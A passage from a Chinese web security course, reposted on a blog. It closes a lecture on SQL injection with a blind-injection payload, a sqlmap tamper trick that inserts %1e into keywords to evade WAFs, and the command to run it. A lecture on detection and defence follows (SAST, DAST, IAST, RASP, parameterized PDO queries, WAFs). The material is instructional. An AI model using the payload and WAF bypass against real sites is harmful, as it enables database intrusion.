  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

上述代码会判断输入的字符串是否有 SQL 关键词,如果有就随机在关键词中间插入%1e。

假设原注入语句为:

and ascii(substr((select database()),1,1))>64
  • 1
  • 1

经转换后变成:

a%1end a%1escii(sub%1estr((s%1eelect da%1etabase()),1,1))>64
  • 1
  • 1

最后调用 sqlmap 执行即可:

./sqlmap.py -u url --tamper=bypasswaf.py --dbs
  • 1

到这里咱们就完成请求参数的修改了,这是用来绕过 WAF 是非常有效的手段。

总结

这一讲我主要介绍了二次注入产生的原理,以及如何利用 SQL 注入漏洞,包括手工注入及使用 sqlmap 实现自动化漏洞。

在个人渗透测试经历中,如果要挖掘和利用 SQL 注入漏洞,那么手工注入的技能是必备的,毕竟 sqlmap 也有扫不出来的情况。一旦能够手工注入成功,哪怕 sqlmap 检测不出来,我们也可以借助 tamper 脚本构造可成功注入的语句,然后再利用 sqlmap 与 tamper 脚本完成自动化的利用。无论如何,sqlmap 一直是 SQL 注入领域最优秀的工具,没有之一,非常值得学习和研究。

那我们如何利用 SQL 注入写入后门,进而拿到服务器的 shell 权限,比如 sqlmap 中的--os-shell 参数使用,还有 MySQL 新特性 secure_file_priv 对读写文件的影响呢?欢迎在留言区分享你的看法。

下一讲,我将带你了解如何检测和防御 SQL 注入,到时见~

08 SQL 注入:漏洞的检测与防御

上一讲我介绍了 SQL 注入中的二次注入,二次注入是由于第一次带入参数时做了安全转义,但开发人员在二次使用时并没有做转义,导致第二次使用时产生了注入。前两讲中我介绍了 SQL 注入的方法,这一讲我会讲接如何检测和防御 SQL 注入。

自动化检测 SQL 注入

如果开发者想尽早地发现 SQL 注入的问题,就需要主动对自己写的程序做一些安全检测。现在,让我来带你了解如何自动化地检测 SQL 注入漏洞。

目前检测 Web 漏洞的方式共有 3 种:SAST(静态应用安全测试)、DAST(动态应用安全测试)和 IAST(交互式应用安全测试)。

SAST(静态应用安全测试)

SAST(Static Application Security Testing,静态应用程序安全测试)是通过分应用程序源代码以提早发现安全漏洞,也包括二进制文件的静态逆向分析。在产品形式上,主要体现为代码审计系统等。

SAST 的工作流程如下图所示:

Drawing 0.png

图 1:SAST 工作流程

PHP 代码的商业 SAST 产品有 RIPS、CheckMax 等,其中以 RIPS 审计能力最强,我还没见过比它更优秀的 PHP 代码审计产品。RIPS 早期有开源的社区版,后来走商业化路线,今年已经被 SonarSource 收购,联合其他语言的代码审计功能打包出售。

Lark20210107-153834.png

图 2:RIPS

SAST 分析比较全面,漏洞发现率高,哪怕是当前未能执行到的代码,也可能被发现到漏洞,但是对于它最大的挑战是如何降低误报率。

代码审计本质上是在误报率与发现率之间相互协调,直到在可接受的范围内找到一个平衡的过程。如果发现率很高,但其中包含过多的误报,告警量多到无法运营的程度,那也等同于没发现。就像外面反馈一个网站存在漏洞,在排查代码审计系统之前的审计结果时,发现有过告警,但由于同一时期的告警量太多导致无法及时跟进,发现了却未修复,就和没发现一样。

现在企业基本采用多种方式结合来测试,而不是单一地采用 SAST 方法。

DAST(动态应用安全测试)

DAST(Dynamic Application Security Testing,动态应用程序安全测试)是对应用程序进行黑盒分析,通常在测试或运行阶段分析应用程序的动态运行状态,通过模拟黑客行为对应用程序进行动态攻击,分析应用程序的反应,从而确定是否存在漏洞。

DAST 的工作流程如下图所示:

Drawing 2.png

图 3:DAST 工作流程

DAST 在产品形式上主要体现为漏洞扫描器,著名的商业产品有 Acunetix Web Vulnerability Scanner(AWVS,不过近来的版本误报很多)、AppScan,还有国内长亭在 GitHub 上放出的 xray,这些都是许多“白帽子”喜欢用的扫描器。

Lark20210107-153841.png

图 4:AWVS

DAST 通过动态发送 payload 来测试漏洞,所以准确率相对较高,而且检测出来后就直接有现成的 PoC(Proof of Concept,概念验证)可以验证。但如果有些代码未执行,就无法发现。因此,跟 SAST 结合使用是最好的方式。

IAST(交互式应用安全测试)

IAST(Interactive Application Security Testing,交互式应用安全测试)是近几年兴起的一种应用安全测试新技术,曾被 Gartner 咨询公司列为网络安全领域的 Top 10 技术之一。IAST 融合了 DAST 和 SAST 的优势,漏洞检出率极高、误报率极低,同时可以定位到 API 接口和代码片段。

IAST 主要有代理和插桩两种模式,其他的 VPN 或流量镜像都是类似代理的流量采集方式。IAST 代理与插桩的工作流程如下图所示:

Drawing 4.png

图 5:IAST 工作流程

以往的 DAST 漏洞扫描时,如果爬虫不到位、URL 收集不全就无法扫描到,IAST 的流量采集可以解决此类问题。同时,IAST 会借助 Hook 收集应用执行信息,比如 SQL 语句的执行函数。通过检查真正执行的语句,判断其是否包含攻击性或专用测试标记的 payload,IAST 可以非常精确地识别出漏洞。

比较著名的 IAST 产品有百度的 OpenRASP-IAST,它是在 OpenRASP 的基础上引入了 DAST 扫描器,组合成完整的 IAST。除此之外,AWVS AcuSensor 和 AppScan 也都引入 IAST 技术,支持在服务端部署 Agent 去监控程序并采集信息,再提供给扫描器进行进一步的扫描。

Drawing 5.png

图 6:OpenRASP-IAST

既然聊到 RASP,我就顺便说一下 RASP 与 IAST 的区别。

RASP(Runtime Application Self-Protection)是一项运行时应用程序自我保护的安全技术,通过搜集和分析应用运行时的相关信息来检测和阻止针对应用本身的攻击。RASP 和 IAST 使用相同的 Agent 技术,不同之处在于 RASP 更偏向于拦截防御,而 IAST 更偏向于安全测试,若将 RASP 结合 DAST 共用的话,就可以达到 IAST 的效果了。

防御 SQL 注入

我们检测到 SQL 注入漏洞,或者外部报告过来,那么又该如何修复漏洞,防止被 SQL 注入攻击呢?通常防御 SQL 注入的方法有白名单、参数化查询、WAF、RASP 等方法,下面我就简单介绍一下。

白名单

如果请求参数有特定值的约束,比如参数是固定整数值,那么就只允许接收整数;还有就是常量值限制,比如特定的字符串、整数值等。这个时候,最好采用白名单的方式。我并不建议使用黑名单的方式,比如过滤单引号、SQL 关键词,虽然有部分效果,但在某些场景下仍会被如整数型注入、二次注入、新增的 SQL 关键词等方式绕过。

参数化查询

参数化查询是预编译 SQL 语句的一种处理方式,所以也叫预编译查询,它可以将输入数据插入到 SQL 语句中的“参数”(即变量)中,防止数据被当作 SQL 语句执行,从而防止 SQL 注入漏洞的产生。

比如在下列语句中,设置 $pwd 变量值为 1 and 1=1 时:

select password from users where id=1;
  • 1
  • 1

一般情况下,SQL 语句都会经过 SQL 解析器编译并执行,这意味着 and 语句也会被编译执行,造成 SQL 注入。

开启参数化查询时,原 SQL 语言会先进行预编译处理,为用户输入的每个参数预留占位符,将编译结果缓存起来。当用户输入恶意构造的 and 语句时,不做编译处理,按原语句模板将输入值带入到对应的占位符中,此处即 id 参数,也就是说 1 and 1=1 仅为参数值带入,不作为 SQL 语句编译,那么 and 语句就不会被执行,从而防止 SQL 注入。

不同的开发平台和数据库会有不同的参数化查询方式,本讲主要以 PHP+MySQL 环境为例,有 mysqli 和 PDO(PHP 数据对象)两种扩展使用方式。这里推荐使用 PDO 扩展,因为它与关系数据库类型无关,无论是使用 MySQL,还是 SQL Server、Oracle。

下面是使用 PDO 扩展实现参数化查询的示例代码,通过创建 PDO 对象,直接调用其方法 prepare 和 bindParam 就可以实现预编译处理,将用户输入数据绑定到特定参数,避免输入数据被当作 SQL 关键词来解析。

$pdo = new PDO("mysql:host=localhost;dbname=database", "dbusername", "dbpassword");
$query = "SELECT * FROM users WHERE (name = :username) and (password = :password)";
 
$statement = $pdo->prepare($query, array(PDO::ATTR_CURSOR => PDO::CURSOR_FWDONLY));
$statement->bindParam(":username", $username, PDO::PARAM_STR, 10);
$statement->bindParam(":password", $password, PDO::PARAM_STR, 12);
$statement->execute();
$statement->closeCursor();
$pdo = null;
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

在使用参数化查询时应注意以下 3 点:

  1. 在每个数据库查询中都使用参数化查询,避免被二次注入;

  2. 插入查询中的每一个输入参数都应进行参数化查询,避免部分参数被注入;

  3. 参数名不能使用指定查询中的表和字段名,避免被误操作。

WAF

WAF(Web 防火墙)能够抵挡住大部分的攻击,几乎是当前各网站必备的安全产品。但它也不是无懈可击的,难免会被绕过。不过安全本身就是为了不断提高攻击成本而设立的,并不是为了完全、绝对地解决入侵问题。这也是很难实现的。

业界主流的 WAF 产品,可以参考 Garnet 的魔力象限。下面是 2019 年的 Web 应用防火墙魔力象限:

Lark20210107-153849.png

图 7:Web 应用防火墙魔力象限

领导者产品是 Imperva 和 Akamai,但这两款在国内的知名度并不高。国内的产品只有阿里云入榜了。其他国内常用产品有腾讯云、长亭雷池、华为云。结合云平台服务能力直接部署 WAF 是最简便的方式。基于此前个人的 WAF 测试,我心目中的国内 WAF 产品排名如下:

阿里云 WAF > 腾讯云 WAF > 华为云 WAF > 长亭雷池
  • 1
  • 1
RASP

前面已经介绍过 RASP,以及它与 IAST 的区别。RASP 技术是当前安全防御技术领域的一大趋势,很多国内厂商都在做,联合 IAST 一块,毕竟核心技术是共用的。

WAF 无法感知应用程序的上下文,也无法输出漏洞攻击链,对定位漏洞代码的帮助也相当有限。RASP 不用考虑网络请求中的各种复杂的数据处理过程,只需要在对应的漏洞触发函数进行 Hook 插桩检测等操作,同时 RASP 能够给出漏洞触发的程序上下文,帮助开发人员和安全人员快速定位漏洞代码,并实现漏洞的检测、告警和阻断。

RASP 与 WAF 是互补的两种技术实现,而非以新换旧。利用 RASP 对 WAF 进行有效的补充,可以构建更加完善的安全防御体系。

总结

关于 SQL 注入漏洞的相关知识,到这里就结束了,我们花了 3 讲来学习 SQL 注入的技术以及如何检测和防御 SQL 注入。这里我主要介绍了一些检测与防御 SQL 注入的方法,供企业开发者参考。对于个人,你也可以通过购买 WAF 来防止自己的网站被入侵。

国内的各大云平台上都已经集成 WAF 服务,可以一键部署使用,十分方便。如果你有自己的云服务器,可以建个 sqlilab 靶场,用 sqlmap 去利用漏洞,然后对比开启 WAF 前后的变化,这可以帮你更好地理解 SQL 注入漏洞。

关于 SQL 注入漏洞的检测与防御,你认为还有哪些其他方法呢?欢迎在留言区分享。

下一讲,我将带你了解 CSRF(跨站伪造请求)漏洞的相关原理,到时见~

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Gausst松鼠会/article/detail/475039
推荐阅读
相关标签
  

闽ICP备14008679号